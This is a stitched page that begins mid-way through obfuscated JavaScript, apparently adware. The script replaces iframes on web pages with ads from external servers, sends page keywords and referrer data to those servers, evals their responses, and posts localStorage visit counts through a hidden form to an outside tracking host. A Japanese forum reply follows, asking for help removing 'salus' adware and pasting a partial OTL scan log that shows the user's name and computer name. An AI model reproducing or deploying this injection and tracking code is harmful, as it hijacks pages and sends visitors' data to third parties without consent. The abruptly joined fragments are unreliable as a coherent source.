6):(64,64))|(c[(1022>(44,72)?(554,\"c\"):(910,192))+(298>(12,236)?(17,\"h\"):384>=(445,962)?(92,237):137<=(137,99)?536:(82,121))+((261,370)<(412,490)?(82,\"a\"):860<(48,105)?\"W\":(526,209))+(1261<=(10,981)?65:34<=(220,371)?(144,\n\"r\"):(173,270))+(253>(41,67)?(46,\"C\"):433<=(260,112)?(352,\"ADS\"):(17,491))+(106<=(88,427)?(131,\"o\"):(815,95))+(467>=(145,471)?64:(10,570)<=(42,1164)?(112,\"d\"):282<=(849,67)?(317,365):(87,157))+(289>=(268,1049)?(206,791):61<=(368,1293)?(77,\"e\"):(496,406))+((1281,432)<=(850,149)?(119,224):(561,101)<=(132,1264)?(143,\"A\"):(105,84))+\"t\"](n+((9,144)>(172,76)?(1227,3):(1382,39)))&255)<<(517>(59,23)?(242,24):(258,8)),k=a(k,g),k=(k&(548<=(45,120)?NaN:(69,364)<=(24,973)?(486,131071):123>(100,1339)?406:(311,\n142)))<<((1114,428)<(986,143)?1074:66<=(483,106)?(10,15):(82,1276))|k>>>(1054>=(1,394)?(986,17):(143,32)),k=a(k,h),f=f^k,f=(f&524287)<<13|f>>>(61<(6,98)?(178,19):(394,40)),f=f*(163<(1225,66)?NaN:441>(135,430)?(56,5):(706,361))+(697<=(414,52)?(989,15):(485,1112)>=(1038,144)?(108,3864292196):(1466,1071))|((60,578)>(60,30)?(384,0):(730,1252));k=172>=(491,125)?(30,0):(24,477);switch(d%(815<=(1295,238)?1240:(118,69)<=(410,132)?(68,4):(431,473))){case 22<=(818,90)?(405,3):(0,309)<=(44,273)?(92,\"W\"):(133,\n39):k=(c[\"ch\"+((57,485)>(71,1156)?239:(366,325)>=(52,383)?(122,165):20<=(72,1481)?(116,\"a\"):(4,1250))+(169<(41,364)?(102,\"r\"):(43,295))+(124<=(72,895)?(492,\"C\"):(138,198))+\"od\"+(51!=(65,51)?(140,\"P\"):(51,37)>(122,559)?(77,91):32<=(353,593)?(87,\"e\"):(511,526))+\"At\"](l+2)&255)<<(69<=(118,37)?380:(82,691)>(42,269)?(344,16):(77,92)>(143,228)?122:(76,440));case (1399,345)<(49,115)?(474,149):(3,98)>(1305,319)?(435,573):(110,7)<(1022,23)?(234,2):(489,105):k|=(c[\"char\"+(277<=(866,115)?(138,28):(87,213)>=\n(96,57)?(1220,\"C\"):(135,142)>=(138,1225)?\"A\":(555,124))+(1181<=(98,301)?!1:(104,21)<(574,1285)?(3,\"o\"):(129,316))+(275>(142,768)?72:(70,1097)>=(183,32)?(351,\"d\"):(121,187))+\"eAt\"](l+((1438,675)>=(565,65)?(1237,1):288>=(1283,355)?59:(37,6)))&((1069,119)>=(643,797)?(1307,NaN):(1153,494)>(147,349)?(1098,255):551<(110,30)?(106,NaN):(1397,107)))<<(55<=(100,1018)?(560,8):(32,253)>=(669,636)?NaN:(1177,575)<(45,499)?(22,97):(76,952));case 114>=(148,1445)?568:66<(1252,448)?(445,1):(385,55)>(167,81)?\"V\":(16,\n266):k|=c[((535,197)>=(93,39)?(140,\"c\"):(589,490))+\"harCodeA\"+(23<=(59,890)?(4,\"t\"):531<=(137,256)?(1139,\"D\"):(8,199))](l)&((80,484)<(1493,431)?265:67<(472,764)?(61,255):(1374,233)>(399,1035)?(146,140):(31,130)),k=a(k,g),k=(k&(1052>(0,436)?(108,131071):(1278,652)))<<(67<=(425,206)?(1116,15):(61,1271))|k>>>(880>(603,375)?(1278,17):(215,263)),k=a(k,h),f^=k}f^=d;f^=f>>>(116>(107,985)?(255,1210):45<(450,137)?(95,16):(301,371));f=a(f,296<=(134,59)?(165,1009):(1400,858)>(467,33)?(124,2246822507):107>(132,\n520)?(185,\"T\"):(280,1174));f^=f>>>(606>(799,130)?(607,13):(323,1437)<(96,301)?560:1231<=(488,473)?(463,NaN):(323,146));f=a(f,(1117,1311)>=(567,32)?(11,3266489909):138>(260,206)?\"p\":(100,306));f^=f>>>16;return b[e]=f}}}(),e7T:3,W9T:\"o\",c0:function(a,b){return a>b},g7T:\"c\",Z7T:8,b7T:\"At\",G4T:\"C\",V0:function(a,b){return a<b},V7T:2,d9T:\"od\",F5:function(a,b){return a|b},E9T:\"A\",Q2:function(a,b){return a<b},H2:function(a,b){return a<b},r7T:\"d\",M2:function(a,b){return a|b},R0:function(a,b){return a==b},\nD5:function(a,b){return a&b}},isRvzFrame=function(a){try{return a instanceof HTMLIFrameElement&&a.parentNode instanceof HTMLDivElement&&a.parentNode.parentNode instanceof HTMLDivElement&&a.parentNode.parentNode.className&&\"string\"==typeof a.parentNode.parentNode.className&&1<a.parentNode.parentNode.className.length&&removeNode(a.parentNode.parentNode.className.split(\" \")[0])}catch(b){return!1}};window.adzy653rk={version:\"1.0\",nrnm:5,ifr:[],src:[],jbs:{ifr:[],at:[]},imp:{pid:\"1\",eid:\"690\",\nhid:\"11247910384774873450\",prid:100,lt:\"37\",referrer:document.referrer,hostname:window.self.location.hostname,url:window.self.location.hostname,jpshort:\"NGwEOcXJ\",rattr:stngs.attr_name,title:document.title,domain:stngs.szy_domain,sizes:stngs.ad_sizes},topHost:function(){if(window.self!=window.top){var a=decodeURIComponent(window.self.location.search).match(/http:\\/\\/[^&]+/);return a&&a[0]}return null}(),checkIfPartner:function(a){if(window.top==window)return isRvzFrame(a);\nvar b={_728x90:function(a){return a.parentElement&&a.parentElement.nextSibling&&a.parentElement.nextSibling.children&&a.parentElement.nextSibling.children[0]&&a.parentElement.nextSibling.children[0]&&a.parentElement.nextSibling.children[0].innerHTML.match(/qa/)},_160_600:function(a){return a.parentElement&&a.parentElement.nextSibling&&\"String\"==typeof a.parentElement.nextSibling.innerHTML&&adzy653rk.regexExtTest.test(a.parentElement.nextSibling.innerHTML)},_625x250:function(a){return(a=a.getAttribute(\"style\"))?\na.match(/width:\\s?625px/)&&a.match(/width:\\s?250px/):!1},_345x600:function(a){return(a=a.getAttribute(\"style\"))?a.match(/width:\\s?345px/)&&a.match(/width:\\s?600px/):!1}},c;for(c in b)if(b[c](a))return!0;return!1},getKeywords:function(){var a=adzy653rk.imp.title,b=document.getElementsByTagName(\"meta\");if(b)for(var c=0,d=b.length;c<d;c++)\"keywords\"!=b[c].name.toLowerCase()&&\"description\"!=b[c].name.toLowerCase()||(a+=\" \"+b[c].content.replace(/,/g,\" \"));if(c=document.getElementsByTagName(\"a\")){b={};\nfor(d=0;d<c.length;d++)try{var e=c[d].innerText;\"undefined\"==typeof e&&(e=c[d].textContent);for(var g=e.toLowerCase().split(/[\\s,-]/g),h=0;h<g.length;h++)4>g[h].length||(b[g[h]]?b[g[h]]++:b[g[h]]=1)}catch(f){}var e=[],l;for(l in b)e.push([l,b[l]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(l=0;l<e.length;l++)a+=\" \"+e[l][0]}return a.replace(/[_-]/g,\" \").substring(0,1024)},setMarker:function(){var a=document.getElementsByTagName(\"body\")[0];a&&!a.getAttribute(\"jhjlijpomuhn_l\")&&a.setAttribute(\"jhjlijpomuhn_m\",\n\"l\")},isAncestor:function(a,b,c){function d(a){return\"object\"==typeof a&&a.top instanceof Window||/^\\s*\\[\\s*object\\s*Window\\s*\\]\\s*/.test(a+\"\")}c=c||30;return a==b?!0:!d(a)||!d(b)||b==window.top||0>=c?!1:adzy653rk.isAncestor(a,b.parent,--c)},listenForMessages:function(){if(window.top===window){var a=adzy653rk;window.addEventListener(\"message\",function(b){try{if(0==((b.data||\"\")+\"\").indexOf(a.l.encode(a.imp.hid+\"/\"+a.imp.eid+\"/\"+a.imp.prid)+\"_\"))switch(b.data.split(\"_\")[1]){case \"IIIFAR\":for(var c=\nwindow.document.getElementsByTagName(\"iframe\"),d=0,e;d<c.length;d++)e=c[d],a.isAncestor(e.contentWindow,b.source)&&(isRvzFrame(e)?b.source.postMessage(b.data+\"_\"+a.l.encode(\"RVZ\"),\"*\"):b.source.postMessage(b.data,\"*\"))}}catch(g){}},!1)}},isAllowRunning:function(a){var b=adzy653rk,c,d=b.imp.hid,e=b.imp.eid,g=b.imp.prid,h=function(e){try{var d=b.l.encode(b.imp.hid+\"/\"+b.imp.eid+\"/\"+b.imp.prid);if(0==((e.data||\"\")+\"\").indexOf(d+\"_IIIFAR\"))if(clearTimeout(c),window.removeEventListener(\"message\",h,!1),\n0==e.data.indexOf(d+\"_IIIFAR_\")){var g=b.l.decode(e.data.split(\"_\")[2]);a(!1,g)}else a(!0);else a(!0)}catch(k){a(!0)}};\"postMessage\"in window&&\"postMessage\"in(window.top||{})?(c=setTimeout(function(){window.document.removeEventListener(\"message\",h,!1);a(!0)},2E3),window.addEventListener(\"message\",h,!1),window.top.postMessage(b.l.encode(d+\"/\"+e+\"/\"+g)+\"_IIIFAR\",\"*\")):a(!0)},run:function(){adzy653rk.setMarker();var a=document.getElementsByTagName(\"iframe\");if(a.length){for(var b=[],c=0;c<a.length;c++)stngs.checkif(a[c])||\nadzy653rk.checkIfPartner(a[c])||(a[c].setAttribute(adzy653rk.imp.rattr,\"true\"),a[c].setAttribute(\"replaced\",\"true\"),b.push(a[c]));if(b.length){var d=function(a){if(a>=b.length){var c=adzy653rk.imp;adzy653rk.jbs.at.length?adzy653rk.getAds(\"//\"+adzy653rk.imp.domain[\"https:\"==window.self.location.protocol?1:0]+\"/?tid=1&size=\"+adzy653rk.jbs.at.join(\",\")+\"&subid=\"+c.pid+\"&subid1=\"+c.hid+\"&subid2=\"+c.eid+\"&subid3=\"+c.prid+\"&lt=\"+c.lt+\"&k=\"+encodeURIComponent(adzy653rk.getKeywords())+(adzy653rk.topHost?\n\"&tdh=\"+encodeURIComponent(adzy653rk.topHost):\"\"),\"seta\"):adzy653rk.destruct()}else{if(c=adzy653rk.getAt(b[a]))(new PixelIPP).setParameter(\"size\",c).push(),adzy653rk.jbs.ifr.push(b[a]),adzy653rk.jbs.at.push(c);setTimeout(function(){d(++a)},1)}};d(0)}else adzy653rk.destruct()}else adzy653rk.destruct()},init:function(){var a=adzy653rk,b=typeof window;window.top===window?(a.listenForMessages(),a.run()):a.isAllowRunning(function(c,d){window.document.body.hasAttribute(\"data-\"+b)||(window.document.body.setAttribute(\"data-\"+\nb,c+\"\"),c&&a.run())})},dfn:function(a){if(adzy653rk.ifr.length&&(a=a?a:1,!(300<a))){var b=function(c){c>=adzy653rk.ifr.length?setTimeout(function(){adzy653rk.dfn(++a)},1200):(adzy653rk.src[c]&&adzy653rk.ifr[c]&&adzy653rk.ifr[c].src!=adzy653rk.src[c][0]&&!adzy653rk.checkIfPartner()&&adzy653rk.ifrset(adzy653rk.ifr[c],adzy653rk.src[c][1],1),setTimeout(function(){b(++c)},1))};b(0)}},destruct:function(a){adzy653rk.jbs={ifr:[],at:[]};adzy653rk.rnm?adzy653rk.rnm++:(adzy653rk.rnm=1,setTimeout(adzy653rk.dfn,\n1200));adzy653rk.rnm<=adzy653rk.nrnm&&setTimeout(adzy653rk.run,1200)},getAt:function(a){a=[parseInt(\"number\"==typeof a.width||\"string\"==typeof a.width&&a.width.match(/[0-9]/)?a.width:a.scrollWidth),parseInt(\"number\"==typeof a.height||\"string\"==typeof a.height&&a.height.match(/[0-9]/)?a.height:a.scrollHeight)];for(var b=adzy653rk.imp.sizes,c=0;c<b.length;c++)if(a[0]>=b[c][0]-5&&a[0]<=b[c][0]+5&&a[1]>=b[c][1]-5&&a[1]<=b[c][1]+5)return b[c][2];return!1},getAds:function(a,b){if(-1<navigator.userAgent.indexOf(\"MSIE\")){var c=\ndocument.createElement(\"script\");c.type=\"text/javascript\";c.src=a+\"&cb=adzy653rk.\"+b;try{window.adzy653rk=adzy653rk,(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(c)}catch(d){}}else{var e=new XMLHttpRequest;e.open(\"GET\",a,!0);e.onreadystatechange=function(){if(4==e.readyState)adzy653rk[b](e.response)};e.send(null)}},seta:function(a){var b=[];try{var c=adzy653rk.l.decode(a),b=\"object\"==typeof JSON&&JSON.parse?JSON.parse(c):eval(c)}catch(d){}if(b instanceof\nArray)for(a=0;a<b.length;a++)b[a]&&adzy653rk.jbs.ifr[a]&&adzy653rk.ifrset(adzy653rk.jbs.ifr[a],b[a]);adzy653rk.destruct()},ifrset:function(a,b,c){c||(adzy653rk.ifr.push(a),b[0]=b[0].replace(/\\[##([^#]+)##\\]/g,function(a,b){return adzy653rk.imp[toekn]?adzy653rk.imp[toekn]:\"\"}));var d=[\"<html><head><style>html,body{width:100%;height:100%;margin:0}</style></head><body>\",\"</body></html>\"];switch(b[1]){case 1:a.src=b[0]+(-1<b[0].indexOf(\"?\")?\"&\"+adzy653rk.imp.jpshort+\"=\"+b[2]+\"_18x18_0\":\"\");break;case 2:a.src=\n\"about:blank\";try{a.contentWindow.document.write(d[0]+'<iframe src=\"'+b[0]+'\" style=\"width:100%;height:100%;border:0;\" scrolling=\"no\" frameborder=\"0\"></iframe>'+d[1])}catch(e){}break;case 3:case 6:a.src=\"about:blank\";try{a.contentWindow.document.write(d[0]+b[0]+d[1])}catch(g){}}c||adzy653rk.src.push([a.src,b])},l:{xlat:\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\",decode:function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,\"\");for(var b=\"\",c=0;c<a.length;){var d=this.xlat.indexOf(a.charAt(c++)),\ne=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),h=this.xlat.indexOf(a.charAt(c++)),f=(e&15)<<4|g>>2,l=(g&3)<<6|h,b=b+String.fromCharCode(d<<2|e>>4);64!=g&&0<f&&(b+=String.fromCharCode(f));64!=h&&0<l&&(b+=String.fromCharCode(l))}return this._utf8_decode(b)},_utf8_decode:function(a){for(var b=\"\",c=0;c<a.length;){var d=a.charCodeAt(c);if(128>d)b+=String.fromCharCode(d),c++;else if(191<d&&224>d)var e=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6|e&63),c=c+2;else var e=a.charCodeAt(c+\n1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12|(e&63)<<6|g&63),c=c+3}return b},encode:function(a){a=this._utf8_encode(a);for(var b=\"\",c=0;c<a.length;){var d=a.charCodeAt(c++),e=a.charCodeAt(c++),g=a.charCodeAt(c++),h=d>>2,d=(d&3)<<4|e>>4,f=(e&15)<<2|g>>6,l=g&63;isNaN(e)?f=l=64:isNaN(g)&&(l=64);b=b+this.xlat.charAt(h)+this.xlat.charAt(d)+(64==f?\"=\":this.xlat.charAt(f))+(64==l?\"=\":this.xlat.charAt(l))}return b},_utf8_encode:function(a){if(a&&a.length){for(var b=\"\",c=0;c<a.length;c++){var d=\na.charCodeAt(c);128>d?b+=String.fromCharCode(d):(127<d&&2048>d?b+=String.fromCharCode(d>>6|192):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128)),b+=String.fromCharCode(d&63|128))}return b}return a}}}};\nif( typeof adzy653rk !== \"undefined\")\n{adzy653rk.location = adzy653rk.imp.referrer+window.self.location.href;if(adzy653rk.location.indexOf(adzy653rk.imp.jpshort+\"=\")==-1 && adzy653rk.location.indexOf(\"adk2.co\")==-1 &&\"enad.hanyibai.com ad.z5x.net satellitetvoffer.co ads.onimp03.com ad.yieldmanager.com fwwv.dixingwang.com cpm.cpc-ads.com ad.adserverplus.com servedby.adxplosions.com cdn.trkclk.net cpm.usabeautygame.com srv.aileronx.com ekda.xbhhh.com vqtm.nongchangwangzhan.com mthd.laorenmeng.com ads.exoclick.com servedby.adsplats.com ads.ad-maven.com ad.adnetwork.net cmne.197865.com owha.vancouverco.com ads.qadservice.com cdn.adk2.com Servedby.bigfineads.com a.ad-sys.com oeha.xbhhh.com s3-us-west-2.amazonaws.com ames.vancouverco.com c5.zedo.com ib.adnxs.com ad.jumbaexchange.com srv1.mediads.info mdeh.xbhhh.com ad.improvemedianetwork.com zvmg.furongshangcheng.com cmen.197865.com ads.networkhm.com ads.impssrv.com media.glispa.com krea.laorenmeng.com tag.contextweb.com ads.mangomediaads.com optimizedby.brealtime.com www.adshost2.com khad.papace.com hnad.hanyibai.com nptv.nongchangwangzhan.com rtb-ads.avazu.net hend.vancouverco.com mpgs.xbhhh.com ads.ventivmedia.com ad.reachjunction.com pzez.nongchangwangzhan.com ads.mediawhite.com cdn.a2ggroup.com cdn.ad-maven.com syzf.xbhhh.com tala.intlsources.com an.z5x.net cemn.197865.com enfl.xbhhh.com fw.adsafeprotected.com cher.ehomestudy.com mtvn.dixingwang.com\".indexOf(window.self.location.hostname)==-1 && adzy653rk.location.indexOf(\"zoneid=13872950\")==-1 && adzy653rk.location.indexOf(\"zoneid=13872950\")==-1 &&adzy653rk.location.indexOf(\"2136&zid=\")==-1 && adzy653rk.location.indexOf(\"1018-1005\")==-1 && adzy653rk.location.indexOf(\"1019-1001\")==-1 && adzy653rk.location.indexOf(\"PT1312\")==-1) adzy653rk.init()}})()}catch(e){};try{(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"NGwEOcXJ=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"NGwEOcXJ=\")){var d=a.match(/NGwEOcXJ=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8ukchVWzmPhd97pjaMCyVUojwMDMlGC7VLBT94tMtGB6DHhfs0rShNAen0rchOAen0rjwGqdC4rjaHpdn6qHn5qHr9qja=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();(function(){var l=function(){var a=window.location.search.split(\"v=\")[1],b=a&&a.indexOf(\"&\")||-1;-1!=b&&(a=a.substring(0,b));return a},m=function(){var a=document.getElementsByClassName(\"watch-view-count\");return a&&a[0]&&a[0].innerHTML?(a=a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/
  • mari
  • 2015/03/29 (Sun) 08:39:44
Re: salusの駆除をお助けください
切れてしまっていたのでもう一度アップします

OTL logfile created on: 2015/03/29 8:31:22 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Tomohiko\Downloads
64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000411 | Country: 日本 | Language: JPN | Date Format: yyyy/MM/dd

5.95 Gb Total Physical Memory | 4.10 Gb Available Physical Memory | 68.90% Memory free
11.90 Gb Paging File | 8.47 Gb Available in Paging File | 71.20% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 113.20 Gb Total Space | 41.37 Gb Free Space | 36.54% Space Free | Partition Type: NTFS
Drive D: | 442.50 Gb Total Space | 370.52 Gb Free Space | 83.74% Space Free | Partition Type: NTFS
Drive E: | 465.76 Gb Total Space | 27.45 Gb Free Space | 5.89% Space Free | Partition Type: NTFS
Drive H: | 931.28 Gb Total Space | 0.80 Gb Free Space | 0.09% Space Free | Partition Type: FAT32

Computer Name: TOMOHIKO-PC | User Name: Tomohiko | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

[color=#E56717]========== Processes (SafeList) ==========[/color]

PRC - [2015/03/29 08:30:46 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Tomohiko\Downloads\OTL.exe
PRC - [2015/03/14 19:12:39 | 000,809,288 | ---- | M] (Google Inc.) -- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
PRC - [2015/02/18 21:24:32 | 001,088,800 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
PRC - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) -- C:\Windows\SysWOW64\CtHdaSvc.exe
PRC - [2014/06/23 19:18:15 | 000,795,672 | ---- | M] (CyberLink Corp.) -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
PRC - [2014/05/02 09:10:50 | 006,311,104 | ---- | M] (FNet Co., Ltd.) -- C:\Program Files (x86)\XFastUSB\XFastUsb.exe
PRC - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
PRC - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
PRC - [2013/12/13 16:39:30 | 001,179,232 | ---- | M] (東日本電信電話株式会社) -- C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
PRC - [2013/08/29 16:40:20 | 000,910,848 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
PRC - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe
PRC - [2013/04/04 14:50:32 | 000,532,040 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamgui.exe
PRC - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe
PRC - [2013/03/05 12:43:20 | 000,110,144 | ---- | M] (CyberLink) -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
PRC - [2012/05/09 18:56:54 | 000,886,272 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
PRC - [2012/05/09 18:52:14 | 002,014,208 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
PRC - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
PRC - [2009/02/23 19:43:12 | 000,576,000 | ---- | M] (MagicISO, Inc.) -- D:\Program Files (x86)\MagicDisc\MagicDisc.exe


[color=#E56717]========== Modules (No Company Name) ==========[/color]

MOD - [2015/03/14 19:12:37 | 014,974,280 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\PepperFlash\pepflashplayer.dll
MOD - [2015/03/14 19:12:35 | 009,278,792 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\pdf.dll
MOD - [2015/03/14 19:12:30 | 001,174,856 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libglesv2.dll
MOD - [2015/03/14 19:12:28 | 000,080,200 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libegl.dll
MOD - [2015/02/13 04:20:34 | 001,044,776 | ---- | M] () -- C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxml2.dll
MOD - [2014/10/16 22:09:08 | 014,340,096 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationFramewo#\1f539baa94516139240877cb6afd72c2\PresentationFramework.ni.dll
MOD - [2014/10/16 22:09:01 | 012,435,968 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\1453d9e9a4989833ef3db4b22549ba1a\System.Windows.Forms.ni.dll
MOD - [2014/10/16 22:08:57 | 001,593,344 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\836e10dfd0811b303553216f5cb092ef\System.Drawing.ni.dll
MOD - [2014/10/16 22:08:55 | 005,467,648 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\d49908aa93a23c84847b1f8b1b667860\System.Xml.ni.dll
MOD - [2014/10/16 22:08:53 | 012,236,800 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationCore\3d4f835b8078dacc8d5da623e2c3f0ee\PresentationCore.ni.dll
MOD - [2014/10/16 22:08:47 | 003,348,480 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\WindowsBase\d97a5aa0eb7697aca7c6e90ae471af2b\WindowsBase.ni.dll
MOD - [2014/10/16 22:08:46 | 007,991,808 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System\908ba9e296e92b4e14bdc2437edac603\System.ni.dll
MOD - [2014/10/12 12:18:59 | 011,497,984 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
MOD - [2014/06/23 19:19:58 | 000,867,080 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\UNO\UNO.dll
MOD - [2014/01/20 13:17:04 | 000,073,544 | ---- | M] () -- C:\Program Files (x86)\Common Files\Apple\Apple Application Support\zlib1.dll
MOD - [2014/01/10 14:28:18 | 000,100,688 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdateCheck.dll
MOD - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
MOD - [2013/12/10 16:39:42 | 000,721,920 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ssl.pyd
MOD - [2013/12/10 16:39:42 | 000,285,184 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_hashlib.pyd
MOD - [2013/12/10 16:39:42 | 000,074,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ctypes.pyd
MOD - [2013/12/10 16:39:42 | 000,040,960 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_socket.pyd
MOD - [2013/09/05 00:14:10 | 004,300,456 | ---- | M] () -- C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF
MOD - [2013/03/05 12:40:16 | 000,626,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMediaLibrary.dll
MOD - [2013/03/05 11:41:36 | 000,015,424 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvcPS.dll
MOD - [2012/02/14 16:16:08 | 000,598,016 | ---- | M] () -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\ja-JP\SBRcni.resources.dll
MOD - [2010/11/13 09:00:19 | 000,348,160 | ---- | M] () -- C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_ja_b77a5c561934e089\mscorlib.resources.dll


[color=#E56717]========== Services (SafeList) ==========[/color]

SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,366,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Program Files\Microsoft Security Client\NisSrv.exe -- (NisSrv)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,023,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV:[b]64bit:[/b] - [2015/01/12 11:34:30 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 002,517,792 | ---- | M] () [Auto | Running] -- C:\Windows\SysNative\nvwmi64.exe -- (NVWMI)
SRV:[b]64bit:[/b] - [2013/05/27 14:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
